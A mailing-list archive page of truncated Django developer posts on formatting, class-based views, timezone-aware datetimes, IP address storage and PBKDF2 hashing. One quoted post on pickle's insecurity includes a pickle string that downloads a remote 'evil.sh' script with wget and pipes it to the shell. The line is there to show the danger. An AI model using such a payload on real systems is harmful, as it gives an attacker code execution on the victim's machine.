+1
I've often wondered why fieldsets have been possible in the Django
admin interface for a while now, but not possible with ModelForms.
Looking forward to this.
On Nov 27, 12:43 am, Mikołaj Siedlarek wrote:
> Hi,
>
> I've just posted a new ticket with everything the feature proposal needs -
> m
Hi folks,
Apologies in advance if this topic has already been raised. I don't believe
I've seen it on the list since I've been subscribed.
Since Django 1.5 has set the minimum version of Python at 2.6, and in
conjunction with the push to make Django more Python 3 compatible, should
we slowly s
On 24 August 2012 18:12, Carl Meyer wrote:
> Can you link to where in the current docs it specifies that %-formatting
> is deprecated and/or will be removed? I can't even find, on a cursory
> search, where it says the new .format() style should be preferred.
It's not easy to find - I've only foun
On 24/08/12 22:47, claudep wrote:
One more reason not to adopt too quickly this syntax is missing
support from gettext.
http://savannah.gnu.org/bugs/?30854
Right. That makes up my mind then. I can't afford to be without gettext
support.
Until gettext supports the newer format, and until
On Wednesday, April 17, 2013 8:10:15 AM UTC+2, Aymeric Augustin wrote:
>
>
> Yes, that's why https://github.com/aaugustin/django-c10k-demo/ builds
> upon Tulip.
>
> Unfortunately, that choice makes it unsuitable for inclusion in Django
> until we drop support for Python 3.3 and all earlier vers
I have been tracking the development of class-based views for a few
weeks now, and am just starting to adapt some of my work-in-progress
sites. This post is in a bit of a grey area between django-users and
django-developers, but I'm curious what is suggested for sites that
make heavy use of django.
d it's also cool to
> do things like this in settings.py:
>
> reverse_lazy = lazy(reverse, str)
> LOGIN_REDIRECT_URL = reverse_lazy('yournamespace:your_main_page')
>
> Perhaps it's not advertised as it should, and people continue to
> invent their tricky namespac
er-defined class-based views be derived from
multiple parent classes?
Sorry if this has meandered into django-users land... maybe some
advanced CBV examples in the docs?
On Dec 7, 6:36 pm, Łukasz Rekucki wrote:
> On 7 December 2010 18:08, Daniel Swarbrick wrote:
> > Another question (sorry -
Most of the time, I use POST for forms, but using GET is useful when
developing a search form, for example. This is especially true if you
want to paginate your results, because you still have all your
original form variables in the query string.
CBV FormView get_form_kwargs() only populates form_
I can almost hear the collective sigh as this topic once again rears
up ;-)
I am currently developing an app with Django that uses the SQLite
backend, and I noticed that Django stores DateTime fields as naive
(eg. non TZ-aware), local timestamps, making these databases non-
portable to servers run
On Jun 1, 3:16 pm, VernonCole wrote:
> On the other hand, I found it necessary to convert date-time values to
> ISO format strings in order to feed them to Microsoft ACCESS databases
> in some cases, and that works well. But again, as with SQLite, the DB
> has no concept of time zones. In the abse
An alternative to perhaps consider is an expanded range Unix epoch-
like timestamp. The Postgres timestamp type is stored as a 64 bit
integer, with 1 microsecond resolution.
SQLite supports storing integers with up to 8 bytes, so it would be
feasible to mimic the internal storage of a Postgres tim
On Jun 5, 11:16 pm, Daniel Greenfeld wrote:
> If you store DateTime in another format then what the database is designed
> to deliver, then you don't just lose sorting and search capabilities, you
> also lose the ability for that data to be read and understood trivially by
> other tools besides Dj
On Jun 7, 4:30 pm, Luke Plant wrote:
> There seems to be the assumption in other messages in this thread that
> Django 'owns' the database. That is not the philosophy Django takes - it
In the case of SQLite, it just plain sucks, because the DB is too
stupid to support a true timestamp data type.
On Jun 28, 3:26 pm, Stephen Burrows
wrote:
> I agree that it would be nice to be able to store tz-aware datetimes -
> but if django were going to do so, it ought to store the datetimes
> with the timezone information intact, rather than converting
> everything to the project's timezone. So, if a c
On Jun 29, 12:01 pm, Ryan McIntosh wrote:
> Is that a crutch of your database? It isn't something I would ever live
> with. All the *sql database servers I hate have an idea of what a
> timestamp+offset is. Django should leverage this. IMHO, no such field
> should exist in the underlying datab
On Jun 30, 11:06 am, Tom Evans wrote:
> That is a domain specific assertion, I don't believe that is true in
> all cases. Typically, when we put things into the ORM, we expect to
> get the same things out again. If you consider viewing a timeline of a
> users activities, we might want to display
On Jun 30, 5:12 pm, Andy Dustman wrote:
> Uh, no. -00-00 is specifically an illegal value in MySQL. Invalid
> dates are converted to -00-00 unless you are in strict mode, in
> which case they raise error conditions. The actual supported range is
> from 1000-01-01 to
> -12-31.http://d
On Jun 30, 6:31 pm, Ian Clelland wrote:
> As a counterexample, I have needed to store wall-clock time as well as time
> zones for future events, in scheduling applications. It is exactly because
> of the unpredictability of future DST changes (and, in very rare cases,
> wholesale time zone change
On Jun 30, 7:45 pm, Andy Dustman wrote:
> Since 4.0 came out in the late 1990s, isn't is possible that things
> have improved somewhat over your dozen year gap of ignorance?
>
> (I'll stop feeding trolls now)
No, it's a perfectly reasonable question that you ask. If I remember
correctly, 4.0 was
This problem was raised at least twice [1] [2] back in 2009 on django-
users, and neither post was answered.
If FilePathField is used declaratively for a form's field(s), it does
not get called for each instantiation of that form - only the first
time the form is used. Consequently, the choices ma
On Jul 7, 1:04 am, Luke Plant wrote:
> That sounds like a reasonable idea to me, since doing it by default
> could impose a serious performance hit. In it's most naive form (i.e.
> making the 'choices' attribute a lazy list using
> django.utils.functional.lazy) this wouldn't be too hard to impleme
The snippet seems to have been removed (returns "page not found"). I
was curious to have a look at how you were handling this. For sure,
Postgres has native support for ipv4 and ipv6 address storage. AFAIK,
MySQL does not... although could store an ipv4 address in a 32-bit
unsigned int field. I don
On Jul 19, 2:16 pm, "Cal Leeming [Simplicity Media Ltd]"
wrote:
> If I was to continue using MySQL for ipv6 storage, I'd probably create a
> table with a column for each byte, convert to an int, and apply a unique
> index to them all.
I think MySQL supports 64 bit ints, so you could split an ipv6
I'm wholeheartedly on +1 on this.
@Anssi Kääriäinen, re your localtime meeting example: this type of
scenario has been discussed on this list previously, and the generally
acknowledged solution is to use separate date and time fields, neither
of which (on their own) have a concept of timezone.
@A
On Sep 6, 10:47 pm, Aymeric Augustin
wrote:
> Under PostgreSQL, I assume I have to use a TIMESTAMP WITH TIME ZONE and set
> the connection's timezone to UTC if I want non-Django applications using the
> same database to obtain correct results, regardless of their connection's
> timezone. To be
On Sep 8, 5:55 am, Kirit Sælensminde (kayess)
wrote:
> There is also a Django time field. How to handle this is kind of hard
> as having a timezone on a time field may not make much sense. At the
> moment it is up to application code to combine this with a date in a
> sane manner. If Django switc
On Sep 10, 5:54 am, Paul McMillan wrote:
>
> The default password hashing algorithm will be changed to PBKDF2.
> We'll include a pure python implementation, but preferably load faster
> versions if available at the system level.
>
Having recently written a Python implementation of PBKDF2 myself,
On Sep 10, 11:36 pm, Paul McMillan wrote:
> Yes, you're absolutely right. My choice of words was incorrect. Is
> your python implementation licensed in such a way that we could
> consider including it in Django? We've looked at a couple
> implementations now, having another option would be helpful
On Sep 12, 2:58 am, Jacob Kaplan-Moss wrote:
>
> If you're going to let Paul look at your work, please make sure you've
> read and signed a CLA (https://www.djangoproject.com/foundation/cla/)
> covering the code in question.
Jacob, you're absolutely right, and I should really be a bit more
organi
On Oct 2, 2:31 pm, Paul McMillan wrote:
> data = "cos\nsystem\n(S'wget -q -O - subversivecode.com/evil.sh | sh'\ntR.'"
> import pickle; pickle.loads(data)
>
Some workarounds for Pickle's execution of arbitrary code are proposed
here http://nadiana.com/python-pickle-insecure
Also note one of th
On Oct 16, 11:48 am, Aymeric Augustin
wrote:
> Hello,
>
> I've implemented the storage and retrieval of aware datetime objects in
> SQLite. This involved some refactoring, because SQLite returns datetimes as
> strings, and I didn't want to duplicate the parsing code. All database
> backends ar
32 matches
Mail list logo
